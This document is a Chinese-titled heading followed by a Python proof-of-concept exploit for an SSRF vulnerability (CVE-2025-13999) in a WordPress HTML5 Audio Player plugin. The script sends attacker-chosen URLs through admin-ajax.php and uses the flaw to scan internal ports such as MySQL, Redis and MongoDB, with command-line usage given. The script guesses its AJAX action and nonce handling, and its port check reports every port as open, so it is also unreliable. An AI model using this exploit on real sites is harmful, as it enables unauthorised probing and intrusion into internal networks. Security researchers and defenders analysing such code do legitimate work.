CVE-2025-13999 WordPress HTML5 Audio Player插件服务器端请求伪造漏洞

# CVE-2025-13999 SSRF PoC for WordPress HTML5 Audio Player Plugin # Affected versions: 2.4.0 to 2.5.1 # This PoC demonstrates the SSRF vulnerability in getIcyMetadata() function import requests import sys def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability to make server request to internal resources Args: target_url: Target WordPress site URL internal_target: Internal resource to target (e.g., http://localhost, http://127.0.0.1) """ # The vulnerable endpoint is typically in the AJAX handler vulnerable_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct the malicious request that triggers getIcyMetadata() # The function processes user-supplied URL without proper validation payload = { 'action': 'get_icy_metadata', # or similar AJAX action 'stream_url': internal_target, # attacker-controlled URL 'nonce': '' # may not be required for unauthenticated exploitation } try: print(f"[*] Sending SSRF payload to: {target_url}") print(f"[*] Targeting internal resource: {internal_target}") response = requests.post(vulnerable_endpoint, data=payload, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def scan_internal_services(target_url, internal_ip_range): """ Use SSRF to scan internal network services """ print(f"[*] Scanning internal network: {internal_ip_range}") common_ports = [80, 443, 8080, 3306, 5432, 6379, 27017] for port in common_ports: target = f"http://{internal_ip_range}:{port}" result = exploit_ssrf(target_url, target) if result and result.status_code != 0: print(f"[+] Service detected at port {port}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13999.py <target_url> <internal_target>") print("Example: python cve-2025-13999.py http://example.com http://localhost:8080") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_ssrf(target, internal)